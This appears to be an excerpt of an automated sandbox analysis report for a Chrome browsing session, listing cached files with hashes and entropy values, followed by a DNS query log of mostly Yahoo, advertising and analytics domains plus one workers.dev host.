URL:	https://pagead2.googlesyndication.com/pagead/js/dv3.js
Preview:	(function(stc){var m,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object"); .},da=ca(this),p=function(a,b){if(b)a:{var c=da;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}}; .p("Symbol",function(a){if(a)return a;var b=function(f,g){this.Mb=f;ba(this,"description",{configurable:!0,writable:!0,value:g})};b.prototype.toString=function(){return this.Mb};var c="jscomp_symbol_"+(1E9*Math.random()>>>0)+"_",d=0,e=fun

Chrome Cache Entry: 694

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 695

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	1784
Entropy (8bit):	4.640964665729478
Encrypted:	false
SSDEEP:	48:TtT4eQ7M0Vk677M0Kk6+7r10Sk6H72X10ak/7e0kk7Z:5TNQ7nVb7nKe7rKSn72KaC75k2Z
MD5:	877792D86D801176269A36AC7B4E6E02
SHA1:	AFDBAD37D52084701E3E299D1F95AD7478B466A9
SHA-256:	5CB2B348029A5C8CAD5342D73F5F78AC09AD0CF6EBDE80B5A1ED069F08332DDC
SHA-512:	0FA0A811BFEF6D83808022369BF9462EB57FB06F5E6B4672F313AAC04D2C85A5CB6A55A9D0F7359E608E6ECD90925E3F77784700882E3F5F93ADBD5FC22D6A3D
Malicious:	false
Reputation:	low
URL:	https://edge-mcdn.secure.yahoo.com/ybar/exp.json
Preview:	{. "expCount":5,. "selection":"individual",. "uploadType":"group",. "runProb":10,. "expList":[. {. "name":"vpixiea",. "beaconRegex":"^https:\/\/v-([^.]).wc.yahoodns.net\/i.gif",. "target":"https://v-a<RAND>.wc.yahoodns.net/i.gif",. "trials":1,. "uploadEndpoints":["https://ybar-<BEACON>report.wc.yahoodns.net/cs/"], . "timeout":5000. },. {. "name":"vpixieb",. "beaconRegex":"^https:\/\/v-([^.]).wc.yahoodns.net\/i.gif",. "target":"https://v-b<RAND>.wc.yahoodns.net/i.gif",. "trials":1,. "uploadEndpoints":["https://ybar-<BEACON>report.wc.yahoodns.net/cs/"],. "timeout":5000. },. {. "name":"vpixiec",. "beaconRegex":"^https:\/\/v-([^.]*).wc.yahoodns.net\/pixel.gif",. "target":"https://v-c<RAND>.wc.yahoodns.net/pixel.gif",. "trials":1,. "uploadEndpoints":["http

Chrome Cache Entry: 696

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	140
Entropy (8bit):	4.705561380998731
Encrypted:	false
SSDEEP:	3:YMsw/cfN3wxk8HHiJsMMg/eUtfYtlm2spn/Fx2VHfCkpHC+MZt:YMsw/cWPMMg/ptQoXn/Fx2t6mHqt
MD5:	ED2348C1C183DFFB7F5345063519280B
SHA1:	16B5B9DD549E101EDBB2C5BA2605EF50107BC361
SHA-256:	D561ABEEE55862E3D0A34C995651EA41AD861B694B38F7D50F9EDEE84338F2A2
SHA-512:	ED618551F257E8AB26D0A45A5ED18065F623885D488DEACF8018EA0B22372CB5B2EFE5D6E951DA3983D44C72F14066557722B5EF1B2D585EA27786670F633B4D
Malicious:	false
Reputation:	low
Preview:	{"identifier":"66q2ji9j2qvpa","identifierType":"bid","tosRecords":{"nonEu":{"consentEvents":{"iabCCPA":"1YNN","gpp":"DBAA","gppSid":"-1"}}}}

Chrome Cache Entry: 697

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 28, 2024 00:41:08.918492079 CEST	192.168.2.4	1.1.1.1	0x85c2	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:08.918766022 CEST	192.168.2.4	1.1.1.1	0x56f6	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:12.443104029 CEST	192.168.2.4	1.1.1.1	0x8d6a	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:12.443459034 CEST	192.168.2.4	1.1.1.1	0x7d4a	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:33.913867950 CEST	192.168.2.4	1.1.1.1	0x3434	Standard query (0)	yhs-world-aged-dust-4671.aubrey744.workers.dev	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:33.914041042 CEST	192.168.2.4	1.1.1.1	0x9e4a	Standard query (0)	yhs-world-aged-dust-4671.aubrey744.workers.dev	65	IN (0x0001)	false
Apr 28, 2024 00:41:35.885874033 CEST	192.168.2.4	1.1.1.1	0x9540	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:35.886311054 CEST	192.168.2.4	1.1.1.1	0x2e	Standard query (0)	google.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:35.887217045 CEST	192.168.2.4	1.1.1.1	0xf1c8	Standard query (0)	s.yimg.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:35.887480021 CEST	192.168.2.4	1.1.1.1	0x2e5f	Standard query (0)	s.yimg.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:35.957221985 CEST	192.168.2.4	1.1.1.1	0x3259	Standard query (0)	validated.web.app	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:35.957655907 CEST	192.168.2.4	1.1.1.1	0x8f71	Standard query (0)	validated.web.app	65	IN (0x0001)	false
Apr 28, 2024 00:41:35.958420992 CEST	192.168.2.4	1.1.1.1	0x324c	Standard query (0)	kit.fontawesome.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:35.958833933 CEST	192.168.2.4	1.1.1.1	0x625a	Standard query (0)	kit.fontawesome.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:35.961322069 CEST	192.168.2.4	1.1.1.1	0x8df6	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:35.961718082 CEST	192.168.2.4	1.1.1.1	0x4259	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:35.962439060 CEST	192.168.2.4	1.1.1.1	0xdf70	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:35.962785959 CEST	192.168.2.4	1.1.1.1	0x3a3e	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:35.963501930 CEST	192.168.2.4	1.1.1.1	0x6dde	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:35.963701010 CEST	192.168.2.4	1.1.1.1	0x74a8	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:35.965514898 CEST	192.168.2.4	1.1.1.1	0x3aff	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:35.965795040 CEST	192.168.2.4	1.1.1.1	0x8b7c	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:35.966569901 CEST	192.168.2.4	1.1.1.1	0x94bc	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:35.966715097 CEST	192.168.2.4	1.1.1.1	0x93c3	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Apr 28, 2024 00:41:35.982239962 CEST	192.168.2.4	1.1.1.1	0xb585	Standard query (0)	geo.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:35.982398987 CEST	192.168.2.4	1.1.1.1	0xbd95	Standard query (0)	geo.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:35.984313965 CEST	192.168.2.4	1.1.1.1	0x99b0	Standard query (0)	geo.query.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:35.984672070 CEST	192.168.2.4	1.1.1.1	0x3221	Standard query (0)	geo.query.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:35.985981941 CEST	192.168.2.4	1.1.1.1	0x6c2f	Standard query (0)	ucs.query.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:35.986148119 CEST	192.168.2.4	1.1.1.1	0x8fe9	Standard query (0)	ucs.query.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:36.293842077 CEST	192.168.2.4	1.1.1.1	0xf6e3	Standard query (0)	y.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:36.294364929 CEST	192.168.2.4	1.1.1.1	0xcf46	Standard query (0)	y.analytics.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:36.334716082 CEST	192.168.2.4	1.1.1.1	0x812d	Standard query (0)	ucs.query.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:36.392627954 CEST	192.168.2.4	1.1.1.1	0xe2d3	Standard query (0)	y.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:37.323590994 CEST	192.168.2.4	1.1.1.1	0x7143	Standard query (0)	ka-f.fontawesome.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:37.324462891 CEST	192.168.2.4	1.1.1.1	0xe9cd	Standard query (0)	ka-f.fontawesome.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:37.326157093 CEST	192.168.2.4	1.1.1.1	0x7c30	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:37.326654911 CEST	192.168.2.4	1.1.1.1	0x38ce	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:37.327435017 CEST	192.168.2.4	1.1.1.1	0xfb72	Standard query (0)	s.yimg.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:37.327573061 CEST	192.168.2.4	1.1.1.1	0x25d7	Standard query (0)	s.yimg.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:38.193736076 CEST	192.168.2.4	1.1.1.1	0x5413	Standard query (0)	s.yimg.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:38.194042921 CEST	192.168.2.4	1.1.1.1	0xbffd	Standard query (0)	s.yimg.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:38.196878910 CEST	192.168.2.4	1.1.1.1	0x665c	Standard query (0)	ka-f.fontawesome.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:38.197431087 CEST	192.168.2.4	1.1.1.1	0x37d7	Standard query (0)	ka-f.fontawesome.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:41.175728083 CEST	192.168.2.4	1.1.1.1	0xa99f	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:41.177241087 CEST	192.168.2.4	1.1.1.1	0xf8cb	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:41.195605040 CEST	192.168.2.4	1.1.1.1	0x97fd	Standard query (0)	yhs-world-aged-dust-4671.aubrey744.workers.dev	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:41.196221113 CEST	192.168.2.4	1.1.1.1	0xa9cc	Standard query (0)	yhs-world-aged-dust-4671.aubrey744.workers.dev	65	IN (0x0001)	false
Apr 28, 2024 00:41:45.977598906 CEST	192.168.2.4	1.1.1.1	0x147a	Standard query (0)	www.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:45.977708101 CEST	192.168.2.4	1.1.1.1	0xd701	Standard query (0)	www.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:48.297997952 CEST	192.168.2.4	1.1.1.1	0x39cb	Standard query (0)	geo.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:48.298937082 CEST	192.168.2.4	1.1.1.1	0xea34	Standard query (0)	geo.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:48.299314022 CEST	192.168.2.4	1.1.1.1	0x2060	Standard query (0)	geo.query.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:48.299761057 CEST	192.168.2.4	1.1.1.1	0xe664	Standard query (0)	geo.query.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:48.337898970 CEST	192.168.2.4	1.1.1.1	0x6165	Standard query (0)	s.yimg.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:48.338181973 CEST	192.168.2.4	1.1.1.1	0xa2c9	Standard query (0)	s.yimg.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:48.338684082 CEST	192.168.2.4	1.1.1.1	0x1053	Standard query (0)	consent.cmp.oath.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:48.338820934 CEST	192.168.2.4	1.1.1.1	0x8df3	Standard query (0)	consent.cmp.oath.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:48.341306925 CEST	192.168.2.4	1.1.1.1	0x3872	Standard query (0)	edge-mcdn.secure.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:48.341437101 CEST	192.168.2.4	1.1.1.1	0xa483	Standard query (0)	edge-mcdn.secure.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:48.412743092 CEST	192.168.2.4	1.1.1.1	0x90b9	Standard query (0)	search.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:48.413106918 CEST	192.168.2.4	1.1.1.1	0x8d25	Standard query (0)	search.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:49.202243090 CEST	192.168.2.4	1.1.1.1	0xa811	Standard query (0)	guce.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:49.202430964 CEST	192.168.2.4	1.1.1.1	0xc9ee	Standard query (0)	guce.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:50.259576082 CEST	192.168.2.4	1.1.1.1	0x9e64	Standard query (0)	securepubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:50.259823084 CEST	192.168.2.4	1.1.1.1	0xf13b	Standard query (0)	securepubads.g.doubleclick.net	65	IN (0x0001)	false
Apr 28, 2024 00:41:50.262257099 CEST	192.168.2.4	1.1.1.1	0x2a8d	Standard query (0)	opus.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:50.262387991 CEST	192.168.2.4	1.1.1.1	0x39ff	Standard query (0)	opus.analytics.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:50.275609016 CEST	192.168.2.4	1.1.1.1	0x3d5a	Standard query (0)	guce.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:50.275914907 CEST	192.168.2.4	1.1.1.1	0x7498	Standard query (0)	guce.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:51.885309935 CEST	192.168.2.4	1.1.1.1	0xb7fc	Standard query (0)	udc.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:51.885790110 CEST	192.168.2.4	1.1.1.1	0x91a8	Standard query (0)	udc.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:52.068104982 CEST	192.168.2.4	1.1.1.1	0xf55e	Standard query (0)	ups.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:52.068260908 CEST	192.168.2.4	1.1.1.1	0x634e	Standard query (0)	ups.analytics.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:52.068815947 CEST	192.168.2.4	1.1.1.1	0x8e05	Standard query (0)	west-bid-gps.ybp.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:52.068943024 CEST	192.168.2.4	1.1.1.1	0xa5e	Standard query (0)	west-bid-gps.ybp.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:52.586646080 CEST	192.168.2.4	1.1.1.1	0xd703	Standard query (0)	ups.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:52.587025881 CEST	192.168.2.4	1.1.1.1	0x7c47	Standard query (0)	ups.analytics.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:53.404535055 CEST	192.168.2.4	1.1.1.1	0xa085	Standard query (0)	pa.ybp.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:53.404995918 CEST	192.168.2.4	1.1.1.1	0xa61c	Standard query (0)	pa.ybp.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:53.482008934 CEST	192.168.2.4	1.1.1.1	0xc100	Standard query (0)	securepubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:53.482462883 CEST	192.168.2.4	1.1.1.1	0xbc5e	Standard query (0)	securepubads.g.doubleclick.net	65	IN (0x0001)	false
Apr 28, 2024 00:41:53.529261112 CEST	192.168.2.4	1.1.1.1	0x906b	Standard query (0)	www.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:53.529406071 CEST	192.168.2.4	1.1.1.1	0x6bd8	Standard query (0)	www.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:54.180618048 CEST	192.168.2.4	1.1.1.1	0x3e02	Standard query (0)	api.taboola.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:54.180960894 CEST	192.168.2.4	1.1.1.1	0xc79f	Standard query (0)	api.taboola.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:54.954976082 CEST	192.168.2.4	1.1.1.1	0x27d6	Standard query (0)	tsdtocl.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:54.955632925 CEST	192.168.2.4	1.1.1.1	0xd5f5	Standard query (0)	tsdtocl.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:54.995970011 CEST	192.168.2.4	1.1.1.1	0x6f4e	Standard query (0)	api.taboola.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:54.996150970 CEST	192.168.2.4	1.1.1.1	0xd4f	Standard query (0)	api.taboola.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:55.322218895 CEST	192.168.2.4	1.1.1.1	0xb8a1	Standard query (0)	edge-mcdn.secure.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:55.322391987 CEST	192.168.2.4	1.1.1.1	0x7cf5	Standard query (0)	edge-mcdn.secure.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:57.118700981 CEST	192.168.2.4	1.1.1.1	0xcbe	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:57.119101048 CEST	192.168.2.4	1.1.1.1	0xbc07	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:58.657752037 CEST	192.168.2.4	1.1.1.1	0x135c	Standard query (0)	i.clean.gg	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.658104897 CEST	192.168.2.4	1.1.1.1	0x1870	Standard query (0)	i.clean.gg	65	IN (0x0001)	false
Apr 28, 2024 00:41:58.695359945 CEST	192.168.2.4	1.1.1.1	0x9058	Standard query (0)	trc.taboola.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.695557117 CEST	192.168.2.4	1.1.1.1	0x748f	Standard query (0)	trc.taboola.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:58.696086884 CEST	192.168.2.4	1.1.1.1	0xeea6	Standard query (0)	tags.bluekai.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.696223021 CEST	192.168.2.4	1.1.1.1	0x187a	Standard query (0)	tags.bluekai.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:58.697190046 CEST	192.168.2.4	1.1.1.1	0xf091	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.697339058 CEST	192.168.2.4	1.1.1.1	0xef85	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
Apr 28, 2024 00:41:58.697737932 CEST	192.168.2.4	1.1.1.1	0x11ac	Standard query (0)	aa.agkn.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.697917938 CEST	192.168.2.4	1.1.1.1	0x9f06	Standard query (0)	aa.agkn.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:58.698477983 CEST	192.168.2.4	1.1.1.1	0xc826	Standard query (0)	uipglob.semasio.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.698596954 CEST	192.168.2.4	1.1.1.1	0xf4ca	Standard query (0)	uipglob.semasio.net	65	IN (0x0001)	false
Apr 28, 2024 00:41:58.921201944 CEST	192.168.2.4	1.1.1.1	0x9db2	Standard query (0)	idx.liadm.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:58.921436071 CEST	192.168.2.4	1.1.1.1	0x242e	Standard query (0)	idx.liadm.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:59.237478018 CEST	192.168.2.4	1.1.1.1	0x5876	Standard query (0)	pbs.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.237746000 CEST	192.168.2.4	1.1.1.1	0xd313	Standard query (0)	pbs.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:59.247956991 CEST	192.168.2.4	1.1.1.1	0x4f2d	Standard query (0)	display.bidder.taboola.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.248126030 CEST	192.168.2.4	1.1.1.1	0x5dd7	Standard query (0)	display.bidder.taboola.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:59.253354073 CEST	192.168.2.4	1.1.1.1	0x67f7	Standard query (0)	htlb.casalemedia.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.253757000 CEST	192.168.2.4	1.1.1.1	0xbb15	Standard query (0)	htlb.casalemedia.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:59.258300066 CEST	192.168.2.4	1.1.1.1	0xb5b0	Standard query (0)	ads.yieldmo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.258457899 CEST	192.168.2.4	1.1.1.1	0x9cf1	Standard query (0)	ads.yieldmo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:59.261203051 CEST	192.168.2.4	1.1.1.1	0x206	Standard query (0)	tlx.3lift.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.261461973 CEST	192.168.2.4	1.1.1.1	0xed1f	Standard query (0)	tlx.3lift.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:59.266813040 CEST	192.168.2.4	1.1.1.1	0xfec7	Standard query (0)	hbopenbid.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.267241001 CEST	192.168.2.4	1.1.1.1	0x41fb	Standard query (0)	hbopenbid.pubmatic.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:59.272079945 CEST	192.168.2.4	1.1.1.1	0x650	Standard query (0)	c2shb-oao.ssp.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.272247076 CEST	192.168.2.4	1.1.1.1	0xa98d	Standard query (0)	c2shb-oao.ssp.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:59.281713963 CEST	192.168.2.4	1.1.1.1	0xbb59	Standard query (0)	prebid.media.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.282135963 CEST	192.168.2.4	1.1.1.1	0xdd05	Standard query (0)	prebid.media.net	65	IN (0x0001)	false
Apr 28, 2024 00:41:59.289113998 CEST	192.168.2.4	1.1.1.1	0xceb	Standard query (0)	bidder.criteo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.289278984 CEST	192.168.2.4	1.1.1.1	0x2e58	Standard query (0)	bidder.criteo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:59.296868086 CEST	192.168.2.4	1.1.1.1	0x2736	Standard query (0)	rtb.openx.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.297076941 CEST	192.168.2.4	1.1.1.1	0xd3e	Standard query (0)	rtb.openx.net	65	IN (0x0001)	false
Apr 28, 2024 00:41:59.299595118 CEST	192.168.2.4	1.1.1.1	0x8c07	Standard query (0)	fastlane.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.299746037 CEST	192.168.2.4	1.1.1.1	0xda93	Standard query (0)	fastlane.rubiconproject.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:59.314522982 CEST	192.168.2.4	1.1.1.1	0x5abd	Standard query (0)	cms.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.315007925 CEST	192.168.2.4	1.1.1.1	0x95b2	Standard query (0)	cms.analytics.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:59.409194946 CEST	192.168.2.4	1.1.1.1	0x4ffd	Standard query (0)	noa.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.409354925 CEST	192.168.2.4	1.1.1.1	0x70e6	Standard query (0)	noa.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:59.417336941 CEST	192.168.2.4	1.1.1.1	0x50a0	Standard query (0)	rp.liadm.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.417582989 CEST	192.168.2.4	1.1.1.1	0xca83	Standard query (0)	rp.liadm.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:59.735769987 CEST	192.168.2.4	1.1.1.1	0x2a58	Standard query (0)	creativecdn.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.736000061 CEST	192.168.2.4	1.1.1.1	0xead2	Standard query (0)	creativecdn.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:59.846999884 CEST	192.168.2.4	1.1.1.1	0x1c2f	Standard query (0)	tags.bluekai.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.847304106 CEST	192.168.2.4	1.1.1.1	0x73d7	Standard query (0)	tags.bluekai.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:59.848510027 CEST	192.168.2.4	1.1.1.1	0x2ac3	Standard query (0)	trc.taboola.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.848793983 CEST	192.168.2.4	1.1.1.1	0x815c	Standard query (0)	trc.taboola.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:59.853674889 CEST	192.168.2.4	1.1.1.1	0x957a	Standard query (0)	idx.liadm.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.853811026 CEST	192.168.2.4	1.1.1.1	0xd4c7	Standard query (0)	idx.liadm.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:59.860069990 CEST	192.168.2.4	1.1.1.1	0xa52a	Standard query (0)	i.clean.gg	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.860198021 CEST	192.168.2.4	1.1.1.1	0xd5b	Standard query (0)	i.clean.gg	65	IN (0x0001)	false
Apr 28, 2024 00:41:59.863320112 CEST	192.168.2.4	1.1.1.1	0x395	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.863622904 CEST	192.168.2.4	1.1.1.1	0xe74c	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
Apr 28, 2024 00:41:59.864736080 CEST	192.168.2.4	1.1.1.1	0x7fc3	Standard query (0)	pbs.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.864907980 CEST	192.168.2.4	1.1.1.1	0xb205	Standard query (0)	pbs.yahoo.com	65	IN (0x0001)	false
